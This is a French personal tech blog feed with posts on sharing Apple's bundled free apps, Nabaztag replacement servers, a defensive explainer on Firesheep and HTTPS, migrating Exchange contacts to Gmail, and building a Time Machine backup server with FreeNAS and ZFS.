Thoms'blognote - Informatique2014-12-30T16:42:44+01:00urn:md5:ab6c0285b74af789eb17ed990308bedaDotcleariBidules, applications offertes et comptes iTunesurn:md5:9f64dcfbcedc4c5da23adf020e98cb882014-12-30T15:03:00+00:00Thomas DAVIDInformatiqueAppleAppStoreGarageBandiMovieiTunesKeynoteNumbersPages<p>Depuis septembre 2013, un certain nombre d'applications sont incluses gratuitement avec les devices Apple. Il est possible d'en profiter et d'en faire profiter d'autres une fois que l'on a compris le fonctionnement.</p> <h2>Contexte</h2>
<p>Tout device activé ou acquis (en première main) après le 1ier septembre 2013 dispose d'un droit acquisition unique pour les applications suivantes :</p>
<ul>
<li>iMovie</li>
<li>Pages</li>
<li>Numbers</li>
<li>Keynote</li>
</ul>
<p>Depuis le 1ier septembre 2014 est venu s'ajouter GarageBand à la liste des applications disponibles.</p>
<ul>
<li>GarageBand</li>
</ul>
<p>Concrètement, lors de l'activation de votre périphérique, vous pouvez télécharger gratuitement ces applications. Elles sont ensuite ajoutées à la liste des applications de votre compte iTunes que vous pouvez utiliser sur l'ensemble de vos iPhone et iPad et iPod touch.</p>
<p>Suite à divers problèmes, je me suis rendu compte que l'activation des applications est réalité un droit unique attribué au premier compte iTunes qui télécharge les applications.
Par exemple, vous disposez d'un iPad Air acquis en janvier 2014. Vous avez fait "l'acquisition gratuite" des applications (sauf GarageBand si vous suivez bien). Vous faites l'acquisition d'un nouvel iPhone ou IPad en janvier 2015. Ce nouveau périphérique vous donne le droit de télécharger de nouveau les mêmes applications avec GarageBand en plus cette fois ci. Vous téléchargez GarageBand et vous l'ajoutez donc à votre compte iTunes. Vous n'avez consommé que le droit d'installer Garageband. Comme les autres applications font déjà partie de vos applications via votre compte itunes, il vous reste encore la possibilité de récupérer gratuitement les autres applications...</p>
<h2>Donner les applications gratuites</h2>
<p>Vous pouvez donc "offrir" la possibilité de récupérer ces applications à une autre personne ne disposant par exemple que d'un iPad 2. Pour se faire, il suffit que la personne se connecte à l'AppStore sur votre appareil avec son compte iTunes. Les applications apparaissent alors comme gratuites. Il suffit de lancer le téléchargement puis de l'annuler pour ajouter l'application au compte iTunes. Il est maintenant possible de récupérer l'application gratuitement sur l'iPad 2.</p>
<h2>Argument de vente pour l'occasion</h2>
<p>Je vois aussi en cela un argument de revente : en effet, pour un acheteur de seconde main un téléphone aura plus de valeur s'il peut récupérer les applications gratuitement.
Pour le tester, il suffit d'utiliser sur l'appareil à tester un compte iTunes qui ne dispose pas des applications et de vérifier dans l'appStore qu'elle apparaissent comme gratuites ("Obtenir" apparait, pas le nuage iCloud).</p>Nabaztag : the end of the roadurn:md5:6ddb4cded85f99fc03ae1c173c8a04502011-07-27T16:46:00+01:00Thomas DAVIDInformatique<p>As you may know, Mindscape has stopped servers hosting Nabaztag services due to financial difficulties the 27 of july 2011. For most Nabaztag this means death.
However, some people are trying to create alternatives for the rabbits to survive.</p>
<p>You will find here some of them.</p> <h2>OpenJabNab</h2>
<p>OpenJabNab is a software server that you can install yourself.<br />
Open servers :</p>
<ul>
<li><a href="http://ojn.psnet.fr/ojn_admin/" hreflang="fr">http://ojn.psnet.fr/ojn_admin/</a>.<br />More information : <a href="http://nabaztag.forumactif.fr/t13228-serveur-openjabnab-qui-remarche-apres-la-panne-du-we" hreflang="fr">http://nabaztag.forumactif.fr/t13228-serveur-openjabnab-qui-remarche-apres-la-panne-du-we</a></li>
</ul>
<h2>Nabisdead</h2>
<p>Nabisdead is an open server.<br />
<a href="http://www.nabizdead.net/" hreflang="fr">http://www.nabizdead.net/</a>
More information : <a href="http://nabaztag.forumactif.fr/t13218-serveur-experimental-nabizdeadnet" hreflang="fr">http://nabaztag.forumactif.fr/t13218-serveur-experimental-nabizdeadnet</a></p>
<h2>OpenNag:</h2>
<p>OpenNag is an open server.
<a href="http://www.opennag.byethost5.com/" hreflang="fr">http://www.opennag.byethost5.com/</a><br />
More information : <a href="http://nabaztag.forumactif.fr/t13262-opennag" hreflang="fr">http://nabaztag.forumactif.fr/t13262-opennag</a></p>
<h2>MybaztagServices.</h2>
<p><a href="http://mybaztagservices.appspot.com/" hreflang="fr">http://mybaztagservices.appspot.com/</a><br />
More information : <a href="http://mybaztagservices.appspot.com/about" hreflang="fr">http://mybaztagservices.appspot.com/about</a></p>
<h2>Ptilu</h2>
<p>Server is waiting for software.
<a href="http://nabaztag.ptitlu.org/" hreflang="en">http://nabaztag.ptitlu.org/</a><br />
For more information, please contact <a href="https://twitter.com/ptitlu" hreflang="fr">@PtitLu</a></p>Firesheep : rien de nouveau, mais ca change tout...urn:md5:64a7c8f24dc4a3501a3a29cd04f28b8d2010-11-12T14:33:00+00:00Thomas DAVIDInformatiqueFirefoxFiresheephttphttpssecuritésessionsslstswepwifiwpa<p><a href="http://codebutler.com/firesheep" hreflang="en">Firesheep</a> est une extension pour Firefox qui a été présentée lors d'une conférence sur la sécurité informatique le 24 octobre 2010 par Eric Butler et Ian Gallagher. Elle fait beaucoup de bruit car, sur un réseau wifi ouvert, elle permet potentiellement de prendre le contrôle de n'importe quelle session ouverte sur un site non sécurisé (non HTTPS). Cela semble être une révolution, une attitude irresponsable de la part des développeurs. En réalité, c'est plus subtile que cela et la démarche vise en fait le contraire de ce que l'on pourrait croire.</p> <p>Pour comprendre, il faut tout d'abord avoir quelques petites choses en tête.</p>
<h2>HTTP est un protocole historique en clair</h2>
<p>La plupart des échanges sur internet utilisent des services web. Tous ces échanges utilisent le protocole HTTP. Ce protocole a été défini il y a déjà bien longtemps. Comme bien des protocoles qui ont servi à construire l'Internet d'aujourd'hui, il s'agit d'un protocole en clair. Cela signifie que toutes les informations échangées dans un sens ou dans l'autre sont parfaitement lisibles si quelqu'un parvient à intercepter la communication. Mais ca n'est pas le seul dans ce cas. Les échanges de mails entre les serveurs sur internet utilise le protocole SMTP, qui lui aussi est en clair. Toutes ces briques de bases ont été définies à une époque où la sécurité des communications ne posait pas problème.
Le protocole HTTP était initialement incapable d'assurer un suivi de session. Par la suite on a donc ajouté les fameux cookies. Il s'agit d'une sorte ticket d'identification que le client (navigateur web) et le serveur échangent à chaque transaction. Mais comme tout circule en clair, il est en théorie facile d'intercepter ce cookie pour reprendre la session à son compte.
On le voit, la majorité de nos communications sur le web ne sont donc pas sécurisées et l'interception d'une session est tout fait possible et relativement simple techniquement. Seuls un certain nombre d'acteurs ont pris conscience de l'enjeu et crypter les communications : les sites bancaires, de vente en ligne et G-Mail (suite des problèmes de piratage). Le problème ne date pas d'hier et seule l'utilisation de HTTPS (HTTP par dessus SSL) permet de corriger ce problème.</p>
<h2>Les réseaux wifi ouverts sont ouverts ... à tous!</h2>
<p>Dans les réseaux d'aujourd'hui, il n'est normalement pas simple d'intercepter les communications. C'est peut-être pour cette raison que l'adoption du HTTPS n'est pas aussi massive qu'elle devrait l'être. Il y a cependant un cas toutes les communications sont "interceptables" sans aucun effort : les wifi ouverts. En effet, ces réseaux ne disposent d'aucun chiffrement. N'importe qui peut donc simplement écouter les communications et collecter les informations qui circulent en clair. Même si vous vous identifiez sur une page web, cela vous permet de vous ouvrir les accès au services, mais ne vous assure aucune sécurité complémentaire. Ces réseaux ouverts constituent donc un terrain de jeu idéal pour récupérer des informations qui circulent en clair.</p>
<h2>Conclusion</h2>
<p>Cette affaire met donc en lumière deux problèmes réels que l'on a trop longtemps ignorés.</p>
<ul>
<li>Les éditeurs de sites web ne sécurisent pas suffisamment leurs infrastructure et continuent à utiliser HTTP alors que HTTPS serait plus approprié.</li>
<li>Les réseaux wifi ouverts sont pratiques mais représentent un risque réel, notamment compte tenu du fait que les éditeurs utilisent encore massivement le HTTP au lieu du HTTPS.</li>
</ul>
<p>Bien qu'elle soit triviale, l'exploitation de ces faiblesses restaient jusqu'à présent réservée à des initiés. Comme les éditeurs n'ont pas pris la mesure du problème, Firesheep a donc le mérite de taper du poing sur la table et de lancer un message très clair : la situation doit changer. Steve Gibson et Leo Laporte dans l'excellent podcast <a href="http://www.grc.com/sn/sn-272.htm" hreflang="en">Security Now N° 272</a> parlent "spanking lesson" (une bonne fessée).</p>
<h2>Que peux-t-on faire à notre niveau pour améliorer les choses ?</h2>
<p>Vous pouvez dès à présent utiliser un certain nombre de vos sites habituels en HTTPS (<a href="https://www.facebook.com/">Facebook</a>, <a href="https://twitter.com/">Twitter</a>, <a href="https://www.google.com/">Google</a>, etc.). Mais si par malheur, une connexion est restée en HTTP, le risque est toujours là. Il existe des initiatives pour forcer les navigateurs a toujours utiliser le HTTPS. Cela passe par des plugins ou encore une extension du protocole HTTP (<a href="http://en.wikipedia.org/wiki/Strict_Transport_Security" hreflang="en">HTTP-STS : Strict Transport Security</a>).</p>
<p>Pour les éditeurs de sites web : systématiquement avoir recours a des connexion chiffrées (via SSL par exemple).</p>
<p>Pour les réseaux wifi ouverts : Évitez de les utiliser dans la mesure du possible. Si vous fournissez un réseau invité pour vos clients ou vos visiteurs, Il existe un moyen de sécuriser l'usage. Il vous suffit d'utiliser un chiffrement WPA ou WPA2 pour votre réseau. Cela impose de mettre un login et mot de passe, mais ils n'ont absolument pas besoin d'être compliqué et tous le monde peut utiliser les mêmes (invite/pass par exemple). Lors de la négociation de la connexion Wifi, le point d'accès et le client vont échanger des clés et sécuriser la connexion entre eux. Chaque client dispose donc d'un canal sécurisé qui lui est propre et personne ne peut intercepter les communications d'un autre. Attention, cela n'est pas le cas de réseaux Wifi utilisant WEP.</p>
<h2>Références :</h2>
<ul>
<li>Firesheep : <a href="http://thoms.free.fr/dotclear/index.php?post/2010/11/12/en">http://codebutler.com/firesheep</a></li>
<li>Ce billet a été inspiré par l'écoute du podcast podcast <a href="http://www.grc.com/sn/" hreflang="en">Security Now</a> de Steve Gibson et Leo Laporte.</li>
<li>Steve Gibson a écrit <a href="http://steve.grc.com/2010/10/28/why-firesheeps-time-has-come/" hreflang="en">un billet plus détaillé</a> sur son blog</li>
<li>HTTP-STS : Strict Transport Security : <a href="http://thoms.free.fr/dotclear/index.php?post/2010/11/12/en">http://en.wikipedia.org/wiki/Strict_Transport_Security</a></li>
</ul>Migration de contacts Exchange vers Gmailurn:md5:d017393b8add66e14c885bed91a2fd952010-04-16T15:10:00+01:00Thomas DAVIDInformatique<p>Mon téléphone personnel est un iPhone et pour des raisons de commodité de gestion, mes contacts étaient synchronisés sur le serveur Exchange de ma société. Comme je change de travail, Il n'est possible d'utiliser le serveur Exchange de mon entreprise. J'ai donc décidé de migrer la gestion de mes contacts (ainsi que celle de mon calendier) sur mon compte Gmail.</p> <p>Google permet l'import de contacts au format CSV (fichier texte) ou VCF (carte de visite virtuelle). Si vous souhaitez transférer vos contacts sans perdre toute richesse (numéros, notes, photo) il vaut mieux passer par le format VCF que par un format CSV.
Deux problèmes à résoudre :</p>
<ul>
<li>Outlook ne permet d'export en masse au format VCF par les menus "classiques".</li>
<li>Les cartes de visites virtuelles (fichier .vcf) ne contiennent qu'un seul contact par fichier, or l'interface de Google ne permet d'importer qu'un seul ficher à la fois. Il n'est pas non plus possible d'utiliser d'achive (zip par exemple). Si vous n'avez que quelques contacts, c'est faisable. Mais la plupart du temps, les contacts se compte en dizaines ou en centaines.</li>
</ul>
<p>Voici comment j'ai résolu ces problèmes</p>
<h2>Exporter les contacts au format VCF</h2>
<ul>
<li>Dans Outlook, sélectionner les contacts à transférer.</li>
<li>Faire clic-droit et choisir <em>envoyer en tant que carte de visite</em></li>
</ul>
<p><img src="http://thoms.free.fr/dotclear/public/2010-04-14-Gmail/envoyerentantque.png" alt="Envoyer en tant que carte de visite" title="Envoyer en tant que carte de visite, avr. 2010" /></p>
<ul>
<li>S'ouvre alors un message avec tous les contacts en pièces jointes au format CVF.</li>
<li>Glissez l'ensemble des pièces jointes dans un répertoire.</li>
</ul>
<h2>Fusionner les contacts en un seul fichier</h2>
<ul>
<li>Ouvrez une boite DOS</li>
<li>Placez vous dans le répertoire et tapez la commande suivante :</li>
</ul>
<p>copy /B *.vcf all_in_one.vcf</p>
<p>Vous disposez maintenant d'un fichier unique que vous pouvez importer dans Gmail. Vous retrouverez tous vos contacts avec tous les numéros ainsi que les photos si vous en aviez.</p>
<p><strong>NOTES</strong></p>
<ul>
<li>Si vous cherchez comment synchroniser votre iPhone avec votre compte gmail (mail, contacts et calendrier), c'est par ici : <a href="http://www.google.com/support/mobile/bin/answer.py?answer=138740&topic=14252" hreflang="en">http://www.google.com/support/mobile/bin/answer.py?answer=138740&topic=14252</a></li>
<li>L'implémentation d'Active Sync de Google ne permet de d'utiliser les groupes. C'est sans doute lié au fait que dans le monde Google, un même contact peut appartenir à deux groupes. Cela est impossible dans le monde Active Sync/Microsoft.</li>
<li>La taille et la qualité des photos sont réduites. Pensez à conserver une copie de sauvegarde pour les récupérer si vous le voulez.</li>
</ul>Créer une Time Capsule avec Freenasurn:md5:39c0aea07d2a1365959417147b9798102010-02-03T09:47:00+00:00Thomas DAVIDInformatiqueafpapplebackupfreenasmacreseausauvegardetime capsuletime machine<p>Depuis la version sa 0.7, Freenas permet de créer des partage pour Mac utilisable pour les sauvegardes avec Time Machine, le logiciel de sauvegarde intégré aux Macs. Ce billet explique comment créer une Timecapsule utilisable par Time Machine à l'aide de Freenas. Ce billet est un peu long, mais ne vous y fiez pas : il contient des informations pour comprendre et les différentes étapes sont détaillées. Les plus pressés pourront aller directement à la pratique.</p> <p>note : ll manque encore des images pour agrémenter un peu lecture. Patience, ca vient.</p>
<h2>Un peu de théorie</h2>
<h3>A propos de Time Machine</h3>
<p>Time Machine est logiciel de sauvegarde fourni par Apple avec ses Mac. Une politique de sauvegarde détermine les données qui sont conservées au fil du temps. Time Machine conserve :</p>
<ul>
<li>une sauvegarde toutes les heures sur les dernières 24h.</li>
<li>une sauvegarde tous les jours sur le dernier mois.</li>
<li>une sauvegarde par semaine pour tous les mois précédents.</li>
</ul>
<p>Il n'y a pas de limite pour la conservation des sauvegardes hebdomadaires. Une fois la saturation du disque atteinte, Time Machine commence à supprimer les sauvegardes les plus anciennes.
Time Machine utilise donc tout l'espace que l'on met à sa disposition. Il est donc nécessaire de disposer d'un espace de taille délimitée pour Time Machine.</p>
<p>Deux approches sont possibles :</p>
<ul>
<li>utiliser un support physique dans sa totalité pour Time Machine</li>
<li>utiliser des quotas pour limiter l'espace utilisable par Time Machine</li>
</ul>
<h3>Gestion du stockage avec Freenas</h3>
<p>Avec Freenas, l'utilisation de quotas ne peut se faire qu'à condition d'utiliser le système de fichier ZFS. Il est très souple et offre beaucoup de possibilités, mais reste un peu plus complexe qu'un simple partitionnement. Partitionnement qui n'est pas possible sous Freenas. Si vous souhaitez donc sauvegarder plusieurs Macs, ou utiliser Freenas pour faire un peu plus que de la sauvegarde sans avoir a dédier un disque physique à chaque usage, l'utilisation de ZFS est incontournable. A noter pour les plus geeks, qu'il est possible de partitionnement des disques pour Freenas, mais pas directement depuis l'interface web.</p>
<h4>Comment fonctionne ZFS?</h4>
<p>Au plus bas niveau, il y a les périphériques physiques de stockage. Ils peuvent être assemblés matériellement ou logiciellement pour former des périphériques plus tolérant aux pannes et/ou plus performant. La technologie la plus courante est le RAID. Freenas vous permet de faire du RAID logiciel.</p>
<p>ZFS utilise un empilement de concepts que vous devez comprendre pour réussir l'installation.</p>
<ul>
<li><strong>périphérique virtuel</strong> : il se compose de un ou plusieurs périphériques physiques. Un périphérique virtuel ne peut être rattaché qu'à un seul pool.</li>
<li><strong>pool</strong> : il se compose de un ou plusieurs périphériques virtuels. Un pool peut contenir plusieurs datasets.</li>
<li><strong>dataset</strong> : dernier niveau d'abstraction de ZFS. Ils sont rattaché à un unique pool.</li>
</ul>
<p>Les datasets sont montés dans le système de fichier. Si vous ne spécifiez rien, ils sont montés dans chemin standard :</p>
<pre>/mnt/<strong>pool</strong>/<strong>dataset</strong>/</pre>
<h2>La pratique</h2>
<h3>De quoi avez vous besoin?</h3>
<ul>
<li>un Mac sous OS X à sauvegarder avec Time Machine</li>
<li>une machine pour installer freenas</li>
<li>un espace de stockage pour les sauvegardes</li>
</ul>
<p>Je propose du suivre pas à pas mon cas particulier. L'objectif est de mettre un place un serveur Freenas et de l'utiliser pour sauvegarder un Macbook (mais pas que).</p>
<h3>Le matériel</h3>
<p>Coté matériel, je dispose de :</p>
<ul>
<li>HP Thin Client T5720 : Athlon@1GHz, 387Mo de ROM, disque mémoire flash 512Mo, carte réseau 100Mbps Ethernet, port USB 2.0.</li>
</ul>
<p><img src="http://h10010.www1.hp.com/wwpc/images/emea/compaq-t5720-tc_190x170.jpg" alt="" /></p>
<ul>
<li>un disque externe USB (2.0) La Cie Grand de 1To.</li>
</ul>
<p><img src="http://www.lacie.com/imgstore/product_medium/Grand_main.jpg" alt="" /></p>
<p>Les clients légers sont des machines habituellement utilisées en entreprise pour se connecter à des applications centralisées via des technologies comme Citrix/Terminal Serveur/X Window. Ce sont donc des machines très légères et consommant peu de courant. Cela convient donc parfaitement pour faire des petits serveurs ne nécessitant pas beaucoup de ressources<sup>[<a href="http://thoms.free.fr/dotclear/index.php?post/2010/02/03/Cr%C3%A9er-une-Timecapsule-avec-Freenas#pnote-43-1" id="rev-pnote-43-1">1</a>]</sup>. Cependant, les ressources matérielles peuvent venir à manquer si l'on souhaite utiliser des fonctionnalités consommatrices comme la compression intégrée aux systèmes de fichiers, le transcodage. L'interface réseau est également limitée à 100Mbps ce qui peut être limitant sur un réseau en gigabit Ethernet. Compte tenu du fait que j'utilise ce serveur en wifi (802.11g) , du fait que le disque sera raccordé en USB 2.0 et du nombre de clients limités (3 portables), le compromis me parait acceptable.</p>
<h3>Installation de Freenas</h3>
<p>L'installation se fait sans problème et les tutoriaux sont légions sur le net.
J'ai réalisé l'installation sur la mémoire flash. Je n'ai pas activé de swap, car le mode de fonctionnement use prématurément les mémoires flash. De la même manière les systèmes de fichiers journalisés sont à éviter sur ce type de supports.</p>
<h4>Ajout du disque physique</h4>
<p>Comme je n'utilise qu'un seul disque physique, je ne mettrais pas en place de RAID logiciel.</p>
<ul>
<li>Raccorder le disque au serveur.</li>
<li>Dans le menu "Disque" -> "Gestion", clique sur le + bleu pour ajouter un disque.</li>
</ul>
<p><a href="http://thoms.free.fr/dotclear/public/2010-02-03-tuto-freenas/ajoutdisque.png" title="ajoutdisque.png"><img src="http://thoms.free.fr/dotclear/public/2010-02-03-tuto-freenas/.ajoutdisque_m.jpg" alt="ajoutdisque.png" style="float:right; margin: 0 0 1em 1em;" title="ajoutdisque.png, fév. 2010" /></a></p>
<ul>
<li>Dans la liste déroulant, choisir le disque.</li>
<li>Entrez un commentaire si cela vous est utile.</li>
<li><img src="http://thoms.free.fr/dotclear/public/2010-02-03-tuto-freenas/listeFS.png" alt="listeFS.png" style="float:right; margin: 0 0 1em 1em;" title="listeFS.png, fév. 2010" />Tout en bas, choisir le format de fichier ZFS storage pool device. Je ne dispose que d'un disque physique et que je ne souhaite pas le dédier à Time Machine. J'ai donc choisi ZFS car il me permet d'allouer des quotas.</li>
<li>Cliquez sur le bouton ajouter.</li>
</ul>
<p>Le disque apparait en "Initialisation".</p>
<ul>
<li>Cliquez sur le bouton Appliquer les changement.</li>
</ul>
<p>Le disque apparait "CONNECTE".</p>
<h4>Configuration de ZFS</h4>
<p>Je dispose d'un seul disque physique. Mon pool sera donc construit sur ce seul périphérique physique et dont type sera "Entrelacement" (Stripe en anglais). Cela signifie que le pool utilise tout l'espace disponible sans redondance. Si l'on met plusieurs périphériques, ils sont fusionnés en un seul et les capacités s'ajoutent. Il est alors impossible de séparer les disques sous peine de perdre les données.</p>
<ul>
<li>Allez dans le menu "Disques" -> "ZFS".</li>
</ul>
<h5>Configuration du périphérique virtuel</h5>
<ul>
<li>Dans l'onglet "Pools", cliquez sur le sous-onglet "Périphérique virtuel".</li>
<li>Cliquez sur le + pour ajouter un périphérique virtuel</li>
</ul>
<pre><a href="http://thoms.free.fr/dotclear/public/2010-02-03-tuto-freenas/nouveau_vdev.png" title="nouveau_vdev.png"><img src="http://thoms.free.fr/dotclear/public/2010-02-03-tuto-freenas/.nouveau_vdev_m.jpg" alt="nouveau_vdev.png" title="nouveau_vdev.png, fév. 2010" /></a></pre>
<ul>
<li>Donnez un nom au périphérique virtuel</li>
<li>Sélectionner le(s) périphérique(s) physique(s) rattaché(s) au périphérique virtuel</li>
<li>Cliquez sur" Appliquer les changements" pour activer le périphérique virtuel.</li>
</ul>
<h5>Configuration du Pool</h5>
<ul>
<li>Dans l'onglet "Pools", cliquez sur le sous-onglet "Gestion".</li>
<li>Cliquez sur le + pour ajouter un pool</li>
</ul>
<p><a href="http://thoms.free.fr/dotclear/public/2010-02-03-tuto-freenas/nouveau_pool.png" title="nouveau_pool.png"><img src="http://thoms.free.fr/dotclear/public/2010-02-03-tuto-freenas/.nouveau_pool_m.jpg" alt="nouveau_pool.png" title="nouveau_pool.png, fév. 2010" /></a></p>
<ul>
<li>Entrez un nom pour le pool.</li>
<li>Sélectionner le(s) périphérique(s) virtuel(s) rattaché(s) au pool.</li>
<li>Cliquez sur Ajouter</li>
<li>Cliquez sur" Appliquer les changements" pour activer le pool.</li>
</ul>
<h5>Configuration du Dataset</h5>
<ul>
<li>Dans l'onglet "Datasets", cliquez sur le sous-onglet "Dataset".</li>
<li><a href="http://thoms.free.fr/dotclear/public/2010-02-03-tuto-freenas/nouveau_dataset2.png" title="nouveau_dataset2.png"><img src="http://thoms.free.fr/dotclear/public/2010-02-03-tuto-freenas/.nouveau_dataset2_m.jpg" alt="nouveau_dataset2.png" style="float:right; margin: 0 0 1em 1em;" title="nouveau_dataset2.png, fév. 2010" /></a> Cliquez sur le + pour ajouter un dataset</li>
<li>Sélectionnez le pool auquel appartient le datatset.</li>
<li>Entrez le quota de données que vous souhaitez allouer pour Time Machine. Le disque du Macbook fait 150Go. J'ai mis 250Go afin de conserver un peu d'historique.</li>
</ul>
<p><img src="http://thoms.free.fr/dotclear/public/2010-02-03-tuto-freenas/datatset_compression.png" alt="datatset_compression.png" style="float:right; margin: 0 0 1em 1em;" title="datatset_compression.png, fév. 2010" /><strong>Note</strong> : Vous pouvez activer la compression. Attention, elle consomme beaucoup de ressource CPU. Le processeur est un Athlon à 1Gz était un peu à la peine lorsque la compression minimale était activée (gzip-1).</p>
<ul>
<li>Cliquez sur Ajouter</li>
<li>Cliquez sur" Appliquer les changements" pour activer le dataset.</li>
</ul>
<h3>Dossier et droits des utilisateurs</h3>
<p>Cette partie est un peu pénible si on se limite aux accès que fourni Freenas pour modifier le système de fichier.</p>
<h4>Création du dossier</h4>
<p>Le menu "Avancé" -> "Gestionnaire de fichiers" vous permet de lancer un explorateur en mode web.</p>
<ul>
<li>Allez dans le répertoire /mnt/<strong>pool</strong>/<strong>dataset</strong>/</li>
<li>Créez un répertoire pour le partage (timemachine par exemple)</li>
</ul>
<p>Par défaut le répertoire créé appartient à l'utilisateur root et au groupe wheel. Cela devra être modifié.</p>
<h4>Gestion des droits</h4>
<p>Ne sautez pas cette étape! Vous risquez de rencontré des problèmes si vous ne configurez pas les droits correctement. Cela se traduit en général par des déconnexions intempestives de Time Machine sur le Mac et des erreurs parlant de "broken pipe" dans les logs de Freenas.</p>
<h5>Création d'un groupe</h5>
<ul>
<li>Allez dans le menu "Accès" -> "Utilisateurs et groupes"</li>
<li>Cliquez sur l'onglet "Groupes"</li>
<li>Cliquez sur le + pour ajouter un groupe</li>
</ul>
<p><a href="http://thoms.free.fr/dotclear/public/2010-02-03-tuto-freenas/nouveau_group.png" title="nouveau_group.png"><img src="http://thoms.free.fr/dotclear/public/2010-02-03-tuto-freenas/.nouveau_group_m.jpg" alt="nouveau_group.png" title="nouveau_group.png, fév. 2010" /></a></p>
<ul>
<li>Donnez un nom au groupe (macgroup par exemple)</li>
<li>Cliquez sur "Ajouter"</li>
<li>Cliquez sur" Appliquer les changements" pour activer le groupe.</li>
</ul>
<h5>Création d'un utilisateur</h5>
<ul>
<li>Allez dans le menu "Accès" -> "Utilisateurs et groupes"</li>
<li>Cliquez sur l'onglet "Utilisateurs"</li>
<li>Cliquez sur le + pour ajouter un utilisateur</li>
</ul>
<p><a href="http://thoms.free.fr/dotclear/public/2010-02-03-tuto-freenas/nouveau_user.png" title="nouveau_user.png"><img src="http://thoms.free.fr/dotclear/public/2010-02-03-tuto-freenas/.nouveau_user_m.jpg" alt="nouveau_user.png" title="nouveau_user.png, fév. 2010" /></a></p>
<ul>
<li>Pour cet utilisateur :
<ul>
<li>entrez un nom</li>
<li>entrez un nom complet</li>
<li>entrez et confirmez un mot de passe (qui sera à utiliser sur le Mac lors de la connexion au partage).</li>
<li>Shell : sélectionner un shell (bash par exemple)</li>
<li>Sélectionner le groupe principal de l'utilisateur (celui que l'on vient de créer juste avant - macgroup)</li>
</ul></li>
<li>Cliquez sur "Ajouter"</li>
<li>Cliquez sur" Appliquer les changements" pour activer le groupe.</li>
</ul>
<h5>Affectation des droits</h5>
<p>Cette étape passe obligatoirement par une commande. Rien dans l'interface de Freenas ne permet de gérer la propriété des dossiers et des fichiers.
La commande à passer est la suivante :</p>
<pre>chown <strong>login_utilisateur</strong>:<strong>groupe</strong> /mnt/<strong>pool</strong>/<strong>dataset</strong>/<strong>partage</strong></pre>
<p>remplacez les mots en gras par les valeurs que vous avez utilisées.
Pour passer la commande, allez dans le menu "Avancé"->"Commande".
Entrez la commande dans le champ "Commande" et cliquez sur "Exécuter". Comme seul résultat visible, la commande doit s'afficher.</p>
<p>Pour vérifier le résultat, vous pouvez taper la commande suivante :</p>
<pre>ls -l /mnt/<strong>pool</strong>/<strong>dataset</strong>/</pre>
<p>Elle doit vous confirmer la propriété du répertoire</p>
<pre>$ ls -l /mnt/<strong>pool</strong>/<strong>dataset</strong>/
total 19
drwxrwsr-x 8 <strong>login_utilisateur</strong> <strong>macgroup</strong> 10 Feb 3 13:25 <strong>partage</strong></pre>
<p>Je dispose maintenant d'un espace de stockage de 250Go que je vais pouvoir utiliser. Reste à le rendre accessible pour Time Machine</p>
<h3>Configuration du service pour Time Machine (afpd)</h3>
<h4>Activation du service</h4>
<ul>
<li>Allez dans le menu "Services" -> "AFP".</li>
</ul>
<p><a href="http://thoms.free.fr/dotclear/public/2010-02-03-tuto-freenas/afp_activation.png" title="afp_activation.png"><img src="http://thoms.free.fr/dotclear/public/2010-02-03-tuto-freenas/.afp_activation_m.jpg" alt="afp_activation.png" title="afp_activation.png, fév. 2010" /></a></p>
<ul>
<li>Activez le service en cochant la case en haut à droite</li>
<li>Entrez un nom pour le serveur</li>
<li>Cliquez sur "Enregistrer et redémarrer".</li>
</ul>
<h4>Configuration du partage</h4>
<ul>
<li>Cliquez sur l'onglet partage</li>
<li>Cliquez sur le + pour ajouter un nouveau partage.</li>
</ul>
<p><a href="http://thoms.free.fr/dotclear/public/2010-02-03-tuto-freenas/afp-partage.png" title="afp-partage.png"><img src="http://thoms.free.fr/dotclear/public/2010-02-03-tuto-freenas/.afp-partage_m.jpg" alt="afp-partage.png" title="afp-partage.png, fév. 2010" /></a></p>
<ul>
<li>Entrez un nom</li>
<li>Entrez une description</li>
<li>configurez le chemin d'accès du partage qui doit correspondre au chemin de répertoire que nous avons créé : /mnt/<strong>pool</strong>/<strong>dataset</strong>/<strong>partage</strong></li>
<li>Configurez le mode de découverte automatique en mode "Time Machine".</li>
<li>Cliquez sur "Ajouter"</li>
<li>Cliquez sur" Appliquer les changements" pour activer le partage.</li>
</ul>
<p>La configuration de Freenas est terminée. Attrapez votre Mac et configurez Time Machine pour qu'il utilise votre partage.</p>
<p><strong>Note</strong> : la première sauvegarde est très longue. Il est préférable de la faire en se connectant au réseau local avec un câble Ethernet plutôt qu'en wifi.</p>
<h2>Conclusion</h2>
<p>Bilan économique de l'affaire :</p>
<ul>
<li>HP T5720 : récupération - 0€</li>
<li>Freenas : opensource - 0€</li>
<li>Disque dur 1 To : 99€</li>
</ul>
<p>La Time Capsule d'Apple 1To est vendu 269€ / 299$ (prix sur le store au 03/02/2010).<br />
A noter que la Time Capsule propose d'autre services utiles :</p>
<ul>
<li>routeur internet</li>
<li>point d'accès wifi 802.11g/ 802.11n</li>
<li>partage d'imprimante</li>
<li>réseau invité séparé de votre réseau domestique pour que vos invités accèdent à internet.</li>
</ul>
<p>Ce billet vous a présenté comment mettre en œuvre une solution de sauvegarde pour votre mac pour un cout modéré. L'avantage de cette solution est qu'elle ne vous oblige pas modifier votre réseau wifi pour accueillir votre solution de sauvegarde sans fil : vous utilisez l'installation wifi que vous avez déjà. Vous profitez également de tous les services qu'offre en plus Freenas (UPnP AV, etc). Si maintenant vous avez uniquement besoin d'un bête espace de stockage et que vous voulez vous équiper d'un point d'accès wifi (routeur?), la Time Capsule peut être une option (haut de gamme quand même).</p>
<p>La Time Capsule sur l'Apple Store français : <a href="http://store.apple.com/fr/product/MC343/Time-Capsule-1TB" hreflang="fr">http://store.apple.com/fr/product/MC343/Time-Capsule-1TB</a></p>
<h2>Allez plus loin : Liens utiles et autres informations</h2>
<h3>Freenas</h3>
<p>Freenas est un logiciel qui offre plein d'autres possibilités, comme par exemple :</p>
<ul>
<li>partages Mac classiques</li>
<li>partages Windows</li>
<li>ftp</li>
<li>UPnP AV (utilisable par Windows Media player 9, Freebox HD, etc.)</li>
<li>rsync</li>
<li>bittorrent</li>
</ul>
<p>Plus d'informations sur freenas : <a href="http://www.freenas.org" hreflang="en">http://www.freenas.org</a></p>
<h3>ZFS</h3>
<p>ZFS est format de système de fichier dont Silicon Graphics est à l'origine. Il est passé en open source et a été porté pour BSD (système de Freenas)
Plus d'informations sur ZFS<br />
Wikipedia EN : <a href="http://thoms.free.fr/dotclear/index.php?post/2010/02/03/en">http://en.wikipedia.org/wiki/ZFS</a><br />
